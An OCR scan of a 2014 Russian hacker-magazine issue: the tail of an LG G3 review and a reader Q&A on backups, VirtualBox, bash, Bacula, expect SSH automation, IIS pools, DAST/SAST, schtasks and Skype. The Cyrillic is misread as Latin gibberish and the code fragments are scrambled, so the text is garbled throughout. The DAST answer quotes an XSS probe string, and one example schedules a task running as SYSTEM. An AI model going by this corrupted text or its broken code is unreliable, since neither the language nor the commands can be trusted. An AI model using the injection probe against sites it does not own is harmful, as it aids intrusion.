YTUAUTY, 4TOObI OHa OTOGpaxanach Ha akpaHe 6JI0KMPOBKU.

Kill Switch. MNMoaBonseT yaaneHHo 3a610kMpoBaTb CMapTHOH
B C/ly4ae Kpaxu u ctupatb cogepxatuytocs Ha LG G3 nuyHyto H-
dopmaumio, NpeaBapuTeNlbHO 3aperucTpMpoBaB CcMapTdOH Ha
canTe npom3BoanTeEns.

YEXOJ1QUICKCIRCLE
BmecTe ¢ LG G3 Ha pblHKe NOSIBUNICS 1 O4EHb MHTEPECHBIN akcec-
cyap, paspaboTaHHbIi crneunanbHo Mof, Hero, — YMHbIA Y4exorn

Quick Circle. NMocnegHuii npepctaBnseT cobon NAacTUMKOBO-MO-
JNINYPETAHOBbLIN YTNSAP C OTKUOHOW KPbIWKOW, KPYrbiM Bbipe-
30M Ha HeW, OTAENaHHbIN U3HYTPU MAMKMM Matepuanom. Ectb
nBe MOJENN: ¢ Noanepxkoi 6ecnpoBoaHON 3apaakm 1 6e3 Hee,
npyv 9TOM MnepBasi yCTaHaB/IMBAETCA BMECTO 3aHeW KPbILKY,
a BTOpas — NoBepX Hee.

EcTecTBeHHO, MpU OTKPLITUM Yexsia MPONCXOAUT PasbiioKMpPoB-
Ka yCTpOWCTBa, HO Hanbosnee UHTepPeceH HaM MMEHHO 3TOT KPYITbIA
Bbipe3. bnarogaps BO3MOXHOCTM pa3biokMpoBaTh 3KPaH NOCTYKM-
BaHVEM A0CTATO4HO ABaX[pl TarnHyTb B 3TO OKHO, Y4TOObI NMokasarb
yacel unun norogy. Ecnm xe npoBecTv nocne aToro no aKkpaHy ceai-
NMoM, TO MOSIBUTCSI [OMOSHATENIbHOE MeHIO AN Bbibopa M3 LwecTn
NPUIOXEHNI. MNPSMO B OKOLLIKE MOXHO 3arnyCTUTb My3blKy, KaMmepy,
NMOCMOTPETb KOJIMYECTBO NPOMAEHHbIX LLIAroB, HOBblE COOBLLEHNS,
NPOMYyLLEHHbIE 3BOHKW, HACTPOMKM M Tak danee. Yxe AO0CTYnHO
C [ECATOK YTUIUT, @ MOCKOJIbKY CUCTEMA OTKPbITa A1 pa3paboTyn-
KOB, TO CMMCOK PYHKLMIA ByAeT TONbKO PaCLUMPSATLCS.

BbiBOA
Ecnu paHbLue komnaHus LG 6bina B ponv AOrOHSOLWENR, TO C Bbl-
xXooom G2 aTa cuTyauma Hadyana MeHAaTbCH, a Tenepb M3MmeHnnacb
OKoH4YaTenbHO. B LG G3 komnaHus cmorna yMecTuTb OrPOMHbIN
5,5-A101MMOBbIN 3KpaH ¢ HeGbiBanbiM 2K-paspelueHnemM B KOpnyc
oT 5-A10AIMOBOro yCTpPOIiCcTBa, CHABAMB €ro MeTananyeckum au-
3aiHOM 1 MPW 3TOM OCTaBMB MIACTUKOBLIM CO CbEMHOM KPbILLKOWA.
BHYTpW CcTOUT caMmoe COBPEMEHHOE Ha AaHHbIi MOMEHT Xeneso,
KoTopoe 3acTaenisieT paboTatb 6e3 TopmMo30B ntobble mrpbl. Oc-
HOBHas kamepa fenaeT NoTPsicaloLLMe CHUMKN C MIHOBEHHON ¢o-
KYCVPOBKOM 1 ONTUYECKON cTabunusaumnein, a ppoHTanbHas nae-
anbHa ana cendu. B LG yunu owmnbkn B opopMiaeHnn n coenanm
HOBbII MHTEpPdENC akKypaTHbIM U MPOCTbIM, NP 3TOM CHabaMB
€ro LWMPOKMMM BO3MOXHOCTAMW KACTOMU3ALMN U YMHbBIMU TEXHO-
norusimu. Npu aTOM, KOHEYHO, €CTb HEKOTOPbIE HEAOHETLI BPOAE
OTCYTCTBUS BRaro3awuTbl, MWUKponognarmeaHuii uHtepderica,
He CamMOi BbICOKOW aBTOHOMHOCTW WM MOTEPWU CUrHana ceTw,
HO BONBLLUNHCTBO U3 HUX YAAET C BbIXOA0M HOBbIX MPOLUNBOK.
HoBbin LG G3 nonyymncs npoayMaHHbIM 1 AOBEAEHHbIM
A0 yMa 1 npepafiaraet npakTmieckn 6€CKOMMPOMUCCHbIE Ha AaH-
Hblii MOMEHT pelleHusi B o6nactv amuaaliHa, Xenesa U YMHbIX
byHkumin. [a, n ueHa B 27 Thicsy pybnei BnonHe aneksaTHa u He-
NPEeMEHHO NMOHN3UTCS B Gnmxkaiilume Mecsubl. S
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ECTbBOTMPOCHI — MPVCHLIJTAN
HAFAQ@REAL . XAKEP.RU

Y MeHsl HeT Heo6XxoAMMOCTY AenaTb ap-

XMBHYIO KOMUIO BCE CUCTEMbI, NO3TOMY
s Bepy apxveB Ha AByx ¢newkax. Ux o6bembl
B 64 '6 MeHs BnonHe ycTpaueaioT. OaHaKo AaH-
Hble CTaHOBATCA Bce Oonee u Gonee pasHO-
o6pasHbiMU, U, 4TOObI N36eXxaTb OMNGOK pa3-
PYLUEHMS apXUBHbIX AaHHbIX NPU KONMPOBaHUN
WX U3 apXuBa U UMeTb BO3MOXHOCTb €ro nonon-
HATb (TO eCcTb, NO CyTU, paboTaTb C MOMM apxu-
BOM), 1 COGMpaloCh 3aUTUTL (rieLukn pexu-
MaMM «TOJIbKO YTEHUe» U «4YTeHUue U 3arnucb».
Moackaxu: Kak 3To MOXHO caenatb? Ucnonb-
3yto0 OC Windows u Linux.

Bonpoc f0BONIbHO MHTEPECHbIN. 3aech ecTb

HECKOJNbKO BapyaHTOB, MMEIOLLIMX CBOW MIlt0-
Cbl 1 MMHYCbI. HauHem ¢ camoro npoctoro. [ns 3a-
LMTBI OT 3anMcn MOXHO Mcnosb3oBark Tynay fsutil.

CyTb ee npocTa. Ha ¢newike onpenensercs cBob6oa-
HO€E NPOCTPAHCTBO W LENNKOM 3anonHaeTcs. B ntore
Ha Hel NPOCTO HET MecTa 1 dalinbl 3anncbiBaTb He-
Kyna. Ho ecTb 1 MUHYC: HEKOTOPbIE BUPYChl NULLYT
cebsi C 3aMeHOI opurnHana Takoro e pasmepa,
4YTO MOXET MPMBECTU K MJA4eBHbIM peayfbTartam.
[pyroit BapMaHT — MOCTaBUTb Napojib Ha [OCTynN
K pnewuke, 3awmdposarb. Ho 1 TyT eCTb Kak npenmy-
wecTsa, Tak 1 Hegoctatku. M3 nocnegHux — cooim
MO MUTAHUIO MOXET BbIBECTU U3 CTPOS LUINGPPOBAH-
HbIli KOHTEHEP, Y4TO OKOHYaTeNbHO YOLET BCIO WH-
dopmaumto. Takxke WwndpoBaHMe BECbMa HEraTUBHO
Cka3blBaETCS Ha CPOKE XM3HU PpreLl-HakonuTenen.
MocnenHuii BapMaHT — 3TO UCMO/b30BaHWE Xapa-
BAapPHOro NepekioyaTens pexnuma YTEHNs 1 3anunucu.
Takon ctouT Ha SD-kapTtax namsatu. MNpu cooTBeT-
CTBYIOLLLEM HaBbIKE TakoW nepeksoyaTenb MOXHO

XAKEP 09 /188/2014

Anexkceit «Zemond»
Mankpatos
3emOnd@gmail.com

n06aBnTb U Ha 06bI4HYIO dneLuky. YTo 34ech Bbl-
6patb, kKaxablii peLlaeT cam, B 3aBUCMMOCTM OT LiEH-
HOCTM MHdOPMaUMn 1 yaobcTBa Nosib3oBaHus. Bax-
HO MOMHUTb TONMbKO OJHO: HUKakol M3 cnocoboB
He 3aMeHUT NoJSIHOLEHHOro 63akana.

Crtout yOyHTa, ¢ aapom 3.13, nocraBun

Ha Hee VirtualBox. B utore oH He paboTa-
eT. Ero Bepcusa 4.12, craBun n3 penosutopus
amcTpubytuea. BeiBanueaetca owmnbka kernel
driver not installed. Yto moxHo cpenaTtb?

HyxHo noctaButb VirtualBox Gonee HoBoW

Bepcuun ¢ odpuumanbHoro canta. M noctaButb
13 deb-nakeToB. MNepen aTMM eLle HY>XHO He 3a0bITb
yOanuTb NpeabiayLlylo BEpCUto 13 cuctembl. Mnn
caenarb NPYHTCKPWH C KOAOM OLLMOKM 1 MOCNaTb ero
Oracle BMecTe ¢ onucaHnem npobnembl.

HAJTAXMBAEM UANOT

m Kak caenaTtb B3aMmopeiicTBue ¢ nonb3oBatenem yepes bash-

CcKpUNTbI?

u Mokaxy HEeCKONbKO KNaCCHbIX MPUMEPOB, KOTOPbIE MOXHO MCMO/b30-
BaTb B CBOUX ckpunTax. OamH 13 cnocoboB CooBLMTL AaHHbIE NPOorpam-

dain  Mpaska

Bug 3awmagkn  Hactpoika

alex: bash ¢ @ &

Cnpaska

Me — yka3aTb Nnpu 3anycke B KOMaHOHOW cTpoke. Coaepxarcs 3T1 napaMmeTpbl
B MEPEMEeHHbIX C HomMepamu, 4To nornyHo. K npumepy: $0 — umsa ckpunTa,
$1 — neps.biit napameTp, $2 — BTOPOI NapameTp, 1 Aasee B TakOM Xe OyXe.
Takxe CyLecTBYIOT ABE BCTIOMOraresibHble nepemerHbie: $# cogepxut konm-
4eCTBO nepeaaHHbIX apryMeHToB 1 $@ comepXuT BCe aprymMeHTbl, nepeaaH-
Hble CKpUNTY, pasaeneHHblie npobenamm. 3ToT 610K KoAa BbIBOAUT TEKCT, COOT- [
BETCTBYIOLLMIA OTBETY NMOJSIL30BATENS (A UM HET) HA BOMPOC O 3aBEPLUEHUN

alex: bash

nporpammbi:

case "$perem" in

$SETCOLOR_SUCCESS

Mpumep B3aumopecTema

y|Y) echo "BBenu «y», egem ganbue..."

echo -n "$(tput hpa $(tput cols))$(tput cub 6)[OK]"

$SETCOLOR_NORMAL

n|N) echo "Beenu «n», 3aBepweHWe Nporpammsl. . ." echo
. else
exit @ $SETCOLOR_FAILURE

echo -n "$(tput hpa $(tput cols))$(tput cub 6)[fail]"

echo "[leiictBue no gedonty...";;

$SETCOLOR_NORMAL

esac

echo

Takxe MHTEPECHO BbIMAAaT coobweHus Fail/Ok, koTopble nosiBnsitoTCS

cnpasa noa Kaxxgbim nencremem cKkpunTa:

W Ha pecept — BbIGOP OTBETA HAa NpMMepe select:

SETCOLOR_SUCCESS="echo -en \\@33[1;32m" select item in "Xakep" "Mega Xakep"
SETCOLOR_FAILURE="echo -en \\@©33[1;31m" do
SETCOLOR_NORMAL="echo -en \\033[0;39m" echo

echo "You $item!"

# KomaHga, K KOTOpoil 6yayT BbiBefeHbl Hawu coobweHus echo

rm test_file

break

if [ $? -eq @ ]; then

done
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OKOHYaTEeNbHO peLwun NepeinTn Ha nu-

Hykc. Cam 3aHumMalocb Be6-pa3paboTkoin
u BepcTkoi. Ecnm no nporpammMupoBaHuio Ha-
wen nopgxogsawme aHanoru, To Bot ¢ GIMP’om
HUKaK He capyxycb. Mano Toro 4to uHtepdeiic
Ha aHrMUIACKOM, TaK ele 3TOT MHOrOOKOHHbIN
PEeXuM BbIBOAUT MEHSl U3 COCTOSIHUSI PaBHOBE-
cusa n yéueaeTt Becb paboumii HacTpoii. Kak 6b1
MHe ero npmeecTu B 6oxeckuii Bug u pycudu-
umpoBaTtb?
u [ns Hayana Heo6x0oMMO NPOBECTU pycUdu-

kauuio GIMP. 310 coBcem npocto. ns aToro

BbINOJIHU B TEPMUHANE CeyIOLLYIO0 KOMaHAy:

GIMP

sudo apt-get install gimp-data«
language-pack-gnome-ru-base«~
language-pack-gnome-ru

[locne aToro HYXHO B HaACTpoMKax uHTepden-
ca CMEeHUTb S3blk Ha pycckuin. Tenepb nepexoonm
K Hanboee NHTEPECHOMY — K U3MEHEHWSIM CamMoro
pepakTopa. [na 3Toro i HaCTOSITeNIbHO PEKOMEH-
nyto npoyectb cratbto (bit.ly/1Afv1IM) n BbINOAHUTL
[aHHble B HEW pekoMeHpjaumu. Jymato, nocne atmx
HEXWUTPBbIX OAeACTBUIA Tbl NONYYULLb YAOOHBIN 1 papy-
[OLLMIA a3 paboynin NHCTPYMEHT.

Pewmn ce6e Ha cTapeHbKUii KOMMbIOTEP
noctaButb USB-moaem. CTouT Ha Hem
Win XP. Nocne ycTtaHOBKM MHTEepHeT-mMopema
BblJIETEN1 CMHWA 3KpaH CMepTU C¢ uudppamum
0x00000044, kak Tenepb ObITb C NOKYNKO?
MonHoe HasBaHWe [aHHOW OoWwnbkn —
MULTIPLE_IRP_COMPLETE_REQUESTS,
1 NOSIBNSETCS OHa NpW MonbiTke ApaniBepa 3aBep-
wntb IRP, KoTOpbI yXe 3aBepLueH. B cucteme npo-
nexoout cneayioulee. Jlpaieep Bbi3biBAET GYHKLMIO
loCompleteRequest(), 4ytobbl 3aBepLunTh IRP, HO Na-
KET y>Xe 3aBepLUEH 1 BbiBanvBaeTcs B 6cof. JaHHast
6ara BeCbMa C/I0XHa B BbISIB/IEHWW, Tak KaK Apansep,
KOTOPbIV MblITaeTCs 3aBepLUMTb COOCTBEHHbIN NakeT
ABaXbl, Yalle BCEro He SBNAETCH UCTOYHUKOM Tpa-
651b1. Hanbonee pacnpoCTpaHeHHbIi BApUAHT — KOr -
[a [Ba pasHbix ApaiiBepa CYMTaloT, 4TO OHWU pynaT
O[HUM 1 TEM Xe NaKeTOM, N KaxXablli NbITAeTCa ero
3aBepLUnTb. MepBbifi 3aNPOC YCMELHO BbIMOHAET-
csl, a BTOpoii Bbi3biBaeT 0x00000044. ins pelueHust
[aHHOI OLMGKM HYXXHO ONpeaennTb Camoro yMHOro.
[nsa 3TOro HyXHO NPoaHaNM3NPOBaThb AamM NAMSATH.
Cpenatb 3TO MOXHO, BKJIIOHYMB B HACTPOMKax cucTe-
Mbl NPV Kpalle 3anucbiBaTb Manblii gamn namsatu,
noce yero paclmdpoBaTb €ro OHManNH-CePBUCOM,
K npumepy atum: bit.ly/1rODeUl, nnn Bocnonb3o-
BaTtbcsa Tynson kdfe (bit.ly/1AY0ZmQ). Korga BUHO-
BHWK HANOETCA, ero yaanuTb Uv NepeycTaHOBUTb.

CUCTEMA b3KAINOB

Korpa mHOro pabo4mx ctaHumii U ceEpBEPOB, XOTENOCb Obl HANTU KaKyI0-TO
XOPOLUYIO CUCTEMY At GIKaNoB [aHHbIX, C [OJHKHON 3aLMTON NOCNeAHUX.
Tak>xe Xxo4eTcs UMeTb BO3MOXHOCTb TOHKOI HACTPOWMKM U MHOoronnargop-
MeHHOCTb. Kakyio cuctemy MoXXHO UCMOb30BaTh ANA 3TUX Lenein?

{1l

9 pekoMeHayto ncnonb3oBaTh open source nNpoekT Bacula. Bacula coctont

N3 HECKOJIbKMX JEMOHOB, KaXAblii N3 KOTOPbIX HECET CBOI QYHKLMOHAb-

Hyto Harpy3ky. Ckayatb MOXHO oTctoga: bit.ly/10A4URN. Cuctema noctpo-
€Ha Nno TEXHOJIOrU KNMeHT-cepBep 1 angd nepegadn gaHHbIX NCMOJIb3yeT NPOTOKOJ
TCP. Bakanbl co3galoTcs B COGCTBEHHOM, MOJIHOCTLIO OTKPLITOM dopmate. Bacula
COCTOWT M3 YeTblpex OCHOBHbIX a1leMeHTOB: Director Daemon, Storage Daemon, File
Daemon v Bacula Console. Bce 3T anemeHTbl peann3oBaHbl B BUAE CAMOCTOSTE Nb-
HbIX MPUIOXKEHNIA.

Director Daemon — 3TO UEHTpasbHbIi 9NIEMEHT CUCTEMbI, YNPaBASIOLWMNA

ee ocTanbHbIMU KOMMOHeHTamu. lpoLle roBops, 310 AMCNETYEP, KOTOPLIN

MHULMMPYET BCE MPOLIECCHI U OTCNEXMUBAET XOL MX BbINOSHEHWS. Storage
Daemon — npunoxeHve, oTBevatoLLee 3a YTeHVe/3ancb AaHHbIX HEMOCPEACTBEHHO
Ha ycTporicTBa xpaHeHus nidopmaumn. File Daemon ocyliectensieT obpalleHue K pe-
3epBrpyeMbiM daiinam 1 ux ganbHeniwyto nepenady k SD. Takxe Ha cTopoHe FD Bbi-
nosHaeTcs WndpoBaHne pe3epBHbIX KOMWIA, ECNY 3TO ONPeaeneHo KoHpUrypaumen.

Bacula Console — nHTepdeiic agMuH1UcTpaTopa cuctembl. Takxe Bacula

Console MoxeT 6bITb paciumpeHa ¢ nomollbio GUI. K npumepy, Tray Monitor

1 Bat. MNepBas ycTaHaBnIMBaeTCs Ha KOMMNbIOTEPE aAMUHA U OCYLLLECTBASIET
HabnaeHne 3a paboToi cucTemMbl pe3epBrpOBaHNs, a BTopas obecrneyvBaeT BO3-
MOXHOCTb yrnpaBneHusi. Bacula Catalog — 6a3a gaHHbIX, B KOTOPOW XpaHATCS CBe-
OeHns 060 BCex 3ape3epBrPOBaHHbIX aiinax U UX MeCTOHAX0XAEHUM B PE3EPBHbLIX
konuax. Kartanor Heobxoamm s obecneyeHms abbekTUBHOM agpecaummn kK Tpebye-
MbIM dainam. Moaaepxmeatotca 6asbl MySQL, PostgreSQL n SQLite.

Tenepb 0 KOHOUIYPaUMOHHBIX dalinax AeMoHoB Bacula. ®aiinbl koHburypa-

LMK Bcex JeMOoHoB Bacula cocTosT 13 onvcaHuii, Tak HadblBaeMbIX PECYPCOB.

Kaxapln n3 pecypcoB xapakrtepuadyeT onpeaeneHHblin GyHKUMOHaN JeMOoHa.
Bonee nogpo6GHO MOXHO NMPOYECTb B MOMHOM AOKYMeHTaumu Ha carite (blog.bacula.
org/documentation/), rae BecbMa MOIHO ONMCaHbl BCE BO3MOXHOCTU. 19 ncnonb-
30BaHNS yXXe roTOBbIX KOHDUIroB MOXHO 06paTUTLCS K pecypcy Buku (wiki.bacula.org/
doku.php?id=sample_configs).

Mo 3awmTe nHbopmaummn cucteMma NOAOEPXKNBAET CNEaYIOLLEE:
+ Bce cepBucbl aBTopuaytotcs ¢ ncnonbdosaHnem CRAM-MD5.
+ Cepsuichl Director n Storage MoryT 6biTb 3anyLleHbl OT UMEHW 0BbIHHOrO
nonbL30BaTens.
+  CurHatypbl MD5, SHA-1 gna kaxgoro daiina B apxuse.
+ KoHTtponbHas cymma CRC ans kaxaoro 651oka, 3anMcaHHoro Ha tom (Volume).
+  Wcnonb3osaHue ACL ansa ynpaensioLleit KOHCONN.
- LWwndposaHre obmeHa ¢ nomoLubio TLS.
«  LWundposaHure aaHHbIX ¢ noMoLLbo PKI.
- [lpoBepka AaHHbIX, MOXoXas Ha cMcTeMy OGHapyXeHus atak Tripwire.

Kak BuauiLb, cMctema CTouT TOro, YTOObl €€ U3Y4NTh U UCMOMb30BaTb B CBOEN pa-
6orte.
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B XXU3HM KaXA0ro agMuHa HacTynaer ne-
puop, Koraa Xxo4eTcs aBToMaTu3nMpoBaTh
BCé€ no noJiHomy. Botmu A0 MEHSH OH AoKaTusnca.
Xouy HanaguTb aBTOMaTM3aLuMIO NOAKIIOYEeHNS
no SSH, 4yToGbl CKpPUNT cam BBOAMJ Maponu
n oTBevyan Ha Bomnpocbl KoHconu. Kakum wH-
CTPYMEHTOM 3TO MOXHO peann3oBaTtb?
ABTOMaTU3auUMa — aeno xopowlee. JAns aTmnx
uenen tebe nomoxeTt expect. 310 yTmnuTa,
KOTOpas NapcuT MOTOKOBbIV BLIBOA, KOHCOSIbHbIX MPO-
rpamMm v B OTBET Ha HMX OTMPaBAAET 3apaHee npea-
YCMOTPEHHbIV OTBET. [eperiaem cpasy K npumepy:

#!/usr/bin/expect

spawn ssh <user_name>@server
expect "password:"

send "<pass>\r"

Kak BnauLb, HUYEro CrnoXxHoro HeT. B nepsoi
cTpoke 06bsiBAsieM, 4TO OyAeT UCMnonb30BaTbCs
Hawa ytunuta. 3ateMm 3a4aem KoMawgy, B Halem
cnyyae ato SSH. XKaem 3anpoc napons oT KoHCoNm
1 B MoOCnefHel CTpoke OTNpaBfisieM Hall naposib.
Mo nogoGHOMY MPUHUMMNY MOXHO nucaTtb u 6onee
CNOXHYI0 aBToMatTu3aumio. CkaxeM, NoakoHeHe
no FTP nnu ycTaHOBKY 1 HACTPOIIKY Kaknx-1mMbo KOH-
COJIbHbBIX YTUIUT.

Cuxy pasbupaiocb B npemyapocTax lIS.

Hukak He MOry NoHsiTb, 4TO Xe Takoe nyn
B IIS, npocTbiMu cnoBamu. A ns-sa cnpaeBku
ot MS B ronose nosHblii KaBappak...

Ecnn coscem Bkparue, To nyn otaensieT Beb-

NPUOXEHNS Mexay coboi No pasHbIM Npo-
ueccam. Ckaxewm, y Tebs ecTb Aga nyna. Ha nepsom
CUAMT OQIMH CalT, a Ha APYyrom asaauate. Ecnun cant
Ha NepBOM MyJie BbI3OBET KaKylo-TO OWMOKy 1 nyn
PYXHET (a Takoe GbIBaeT), TO OTBA/INTCS TOSIbKO OAMH
CalT, Te ABaJLATb OH HWKAK He 3aTPOHET, NOTOMYy
4YTO OHW OTAENEHbl rpaHMLaMn npoLecca oT Hero.
CoOTBETCTBEHHO, €cnn OWKnbKY M Kpawl Bbl30BET
OJMH 13 CanTOB BTOPOrO Nnyna, yiayT B AayH BCe cai-
Tbl Ha nyne. MoxHo pesiomupoBaTb. Bce Beb-
NPUNOXEHNS B MyJie NPUIOXEHWIA BbINOMHSAIOTCS Of-
HAM 1 TeM e pabounm npoueccoMm. [MocKonbky
Kaxapli pabounii npoLiecc paboTaeT B ka4ecTBe OT-
[enbHOro nporpammHoro obbekra, daiina W3wp.
exe, pabounii MPoLEcc, 06CIYXMBAIOLLIIA OONH My
NPUIOXEHNIA, N30IMPOBAH OT PaboyMx NPOLECCOB,
obcnyxwuBatoLwmx apyrovi nyn. Takas nsonsums se6-

BORN TO FRAG

EcTb i cmbicn yyacTBOBaTh B pas3nuynbix CTF?

KoHeyHo! Toe xe eLe MOXHO Ha-
6paTtbcs onbiTa No B3nomy? Ja eule
1 B pexunme copeBHoBaHus. U ¢ pas-
60poM 3ajaHuii (BpanTanos) nocne
nposenexna CTF. Takxe koMaHaHbI
OyX 1 3axBaTbiBaOLLME CIOXETbI UTP
npunaratotcs. Hy n He cTouT 3a-
6bIBaTh 0 Npu3ax ans nobegutenei.
B pamkax HekoTopbix CTF nonapa-
I0TCS Aaxe 3aaHns Mo NOKMUKUHTY,
MOWCKY NONE3HOM NHDLI B Mycope

1 npouee.

NPUIOXEHNI Mynamu yaydwaeT ux 6e30MacHOCTb:
YMEHbLLIAETCA BEPOATHOCTb TOro, 4TO OOHO MPWO-
XEeHWe nonyuuT JoCTyn K pecypcam apyroro. bonee
TOro, 3TO paspgefieHve  orpaHnyvBaeT  BeG-
NPWUIOXKEHNS OAHOTO MyNa OT BAVAHUSA HAXOAALLMXCS
Ha TOM e BebG-cepBepe MPUIOXEHUA U3 OpYroro
nyna. Hanpumep, ecnn opHO Be6G-NpuIoXeHue
He BbINOJIHAETCA UM UCMOJIb3YET CIULLKOM MHOro
pecypcoB Be6-cepBepa, TO 3TO He BANSET Ha NpWo-
XEHVsi B APYrvX Nynax Toro e Be6-cepsepa. MiMeH-
HO MO3TOMY KPYMHbIE MPOEKTbI JIyHLLE BCEro caxarb
Ha OTAENbHbIN Nyn.

m Kakue Bupgbl aHanusa kopa cywiecTeyioT?

Hanbonee pacnpoctpaHeHbl DAST n SAST.
O Hux n pacckaxy. DAST — anHamMmnyeckuia,
MHbIMU cnoBamMu TPeOBYIOLLMIA BBINOSIHEHWS!, aHann3
6e30MacHOCTM NpUoXeHns 6e3 40oCTyna K UCXOA-
HOMY KOAY 1 Cpefe NUCTMOSTHEHNS CEPBEPHOI 4YacTu.
SAST — cTaTnyeckuii, nnn He TPeOYIOLLNIA Bbl-
NONHEHNs, aHanu3 6e30NacHOCTN MPUIIOXEHWS,
C OOCTYMOM K MCXOAHOMY KOAY MPUIOXEHUst cep-
BEPHbIX N KIMEHTCKUX YacTen. MepBbii — cambli
NPOCTO N PACMPOCTPAHEHHbIN Ccnocob mnoucka
ya3BUMOCTEN. Bcakuii pas, BCTaBnss B Kaxaoe
none MyapeHylo CTpoky <script>alert('xss')</
script>, nmeHHo DAST Tbl 1 npumeHsiewb. Tak-
Xe ero mMoayfnb MCMONb3yeTcs B TakMx CKaHepax,
kak Nessus, w3af n sglmap. N3 MUHYCOB MOXHO
OTMEeTUTb, 4TO HE BCe TO4YKM BXOOa 6yﬂyT Hal?’l,[],eHbI
1 yem 6osiee cepbesHbIii MPOEKT U UCMOJIb3yEMble
MM TEXHOMOrMW, TEM [Ofiblle MPOLEecC, npuyem
B AHAX 1 Hepenax. Mnioc KM ckaHepa ctpemutcs
K Hyo. Mo SAST MOXHO OTMETUTb, YTO MO ero Me-
TooamM obHapyxeHus ysa3BumocTel dpopmupyeTcs
OrPOMHOE KONMMYECTBO JIOXHbIX cpabaTbiBaHU.
Lndpbl 3a 10k paneko He npenen. Moatomy Bbl-
O1paTb MHCTPYMEHT HYXHO C YMOM 1 He 3abbIBaTb,
4TO CKaHep HMKOraa He HaaeT Toro, YTo cnocobeH
YBUOETb YenoBek.

3axoTenocb pynauTh LWEAYyNEepoM U3

KOMaHaHoOW cTpoku. Kak moxHo poGae-
NATb 3a4aHUs B TacK Lweaynepa 4yepe3 KOH-
COJlb... Ha BUHAE?

Jna aTOro ectb ax [ABe KOMaHAbl, KOTopble

Te6e nomoryt. MNepBas — at. Ckaxem, Tebe
HYXXHO 062BUTb TaCK, KOTOPbI GyAeT BbIMOHATLCS
Kaxabli aeHb B 2:00, Toraa komanaa 6yaeT Takom:

Muorue CTF ocHoBaHbl Ha 3agaHusx,
KOTOPbIE B PpeasibHOM XN3HW HUKOrAa
He BcTpeTuwb. [a, 310 npubasnaet
XMBOCTW YMa peLuaTb HecTaHaapT-
Hble 324341, HO NOA0GHbIE CKMMbI
BeCbMa KOCBEHHO MOXHO UCMOJb-
30BaTh B NOBCEAHEBHOCTW. Intoc
MHorve CTF npoxoasaT B pamkax
nuapa KoMnaHuu-opraHmsaropa,

4YTO BHOCUT OnpenesnieHHbIN YKIIoH,
KOTOPbIA MOXET B KOPHE HE COBMNACTb
C TBOEW OesATeNIbHOCThIO.
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at 02:00 /every:su,m,t,w,th,f,s«
"c:\Program\script.bat"

Ona 3apay nocnoxHee s COBETYD BOCMOJb-
3oBartbecs schtasks. [1na o3HakomneHust CO BCcemMu
BO3MOXXHOCTSIMW A@HHOM YTUAUTBI BbINOMHAEM CTaH-
[ApTHYIO KOMaHay:

schtasks /?

A ons npyMepa co3nannMm Tack, KoTopelin bynet
BbIMNOSIHATLCS KaxAble AeCATb MUHYT OT UMEHU CU-
ctembl (NT AUTHORITY\SYSTEM):

schtasks/create/sc minute/mo 10/tn<
"Mpumep Tacka"/tr c:\Program\«
script.bat /ru "System"

Crtout Linux Mint 15, Ha Hem ckaiin,

c Bepcueii 4.2. Bce Gbl XOPOLLO, HO OH He-
OXupaHHoO nepectan pa6ortaTb... [oBopwur,
owmnbka coepvHEHUsi, HUKAKUX MPOKCU wnu
npo6Gnem co cBA3blo HeT. NMpoGoBan 0GHOBUTL
nakeT, HO B peno3uTopusx ata Bepcus puHanb-
Hasq. YTo 3TO M ¢ Yero Gbl BAPYr cKain pewuun
cebg Tak noBecTu?

Ckarin Bbllwen yxe sepcun 4.3. MNMoatomy, no-

X0xe, 1 npobnembl ¢ nogknioyeHnem. Xots,
Hago ckasaTtb, Takol Oar BCTpeyaeTcsl Haneko
He Ha BCeX MalUMHax ¢ NogoGHbIMK KOHbUIypaums-
Mu. C yem 3TO CBSI3aHO, OAHMM pa3paboTynkam 13-
BECTHO. Ho BbIXOA, eCTb.

[ns pelleHvs 3ada4n HyXHO yAanuTb CTapylo

BEPCUIO, 3anyCTUTb U3 KOHCOMN:

sudo apt-get remove skype skype-«
bin:i386 skype:i386

Tenepb 06aBMM PENO3UTOPUIA:

sudo add-apt-repository "debe~
http://archive.canonical.com/«
$(1lsb_release -sc) partner"

OcTaeTcs TONbKO NOCTABUTb HECKOJIbKO HEOOXO0-
AONMBIX NMaKeToB:

sudo apt-get update
sudo apt-get install skype &&«
sudo apt-get -f install

CAPTURE THE FLAG

CTF
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Co3gats yueTHy!

Mocne atoro ckann o6HoBneH. Kcrtatm, cTo-
T OTMETUTb, YTO noaaepXkkm ALSA 6Gosnblie HeT.
Mpepnaraetca ncnonb3osate PulseAudio. N ecnun
1cnonb3yeTcs ToNbko ALSA, To cMbicna 06HOBAATb-
csl HeT, 3ByKka He byneT. Auctpmbytnea Ubuntu ato
He KacaeTcs.

Bcerna uHTepecoBano, kak pa6Gortaert

KoMnac Ha aHppoua-peBaiicax. Moxelub
paccka3atb?

KoHeuHo! MpuHUMn ero paboTbl [0BOJLHO

NPOCT: OH OMpeaenseT, B KaKkylo CTOPOHY Mo-

BEPHYT MOOWNbHBIA TenedoH, N BbIAAET AaHHble

Ha okpaH. Pa6oTtaeTr komnac Ha 6ase GPS-

HaBuraropa, C NOMOLLbIO KOTOPOro CUrHan nocTy-

naeT Ha JatyuK, YCTaHOBJIEHHBIN B TenedoHe. Mpu-

MEPHbIN anNropuT™M Takom:

1. o curHanam cO CNyTHMKOB CHUMAaeM Mnokasa-
HWS KOOPAVHAT NPWEMHMKA, B HaleMm cry4ae
TenedoHa.

2. OTtmeyaeM Bpems, koraa 6biiv onpeaeneHbl Ko-
OpAMHaThI.

3. [enaem Taiim-ayT ans 6onee TO4HOro onpene-
NIeHVs KOOPAVHAT.

4. ToBTOPSEM MyHKTbI 1-3.

5. Pelwaetcs HaBuraumMoHHas 3agjada: w3 nony-
YeHHbIX KOOPAMHAT ABYX TOYEK U pa3mepa Bpe-
MEHHOrO MHTEPBana BbIYUCSETCH BEKTOP CKO-
POCTU OBUXEHWS, MOCIIE Yero, 3Hast BEKTOP, Mbl
C NIerkoCTbio NoJsly4aeM HanpaBneHNe ABUXEHUS
1 CKOPOCTb ABUXEHMS. 30ECh CTOUT YHECTb, YTO,
€C/n CTOSITb Ha OJHOM MeCTe, 3TV Touku ByayT
paBHbI M ONpeaennTb HanpaeeHve 6yneT BeCb-
Ma 3aTpyaHUTENbHO. [laxe npu Manom aBuxe-
HUM Ha KapTe ByayT ABe TOuUkW, KOTOpble Npuaa-
[yT TOYHOCTb N3MEPEHUSIM.

Kakue ectb yTMnuTbl Harpy3o4dHoOro Tte-

cTupoBaHus caiita? Hy, kpome anayes-
ckoro ab, KOHe4Ho.

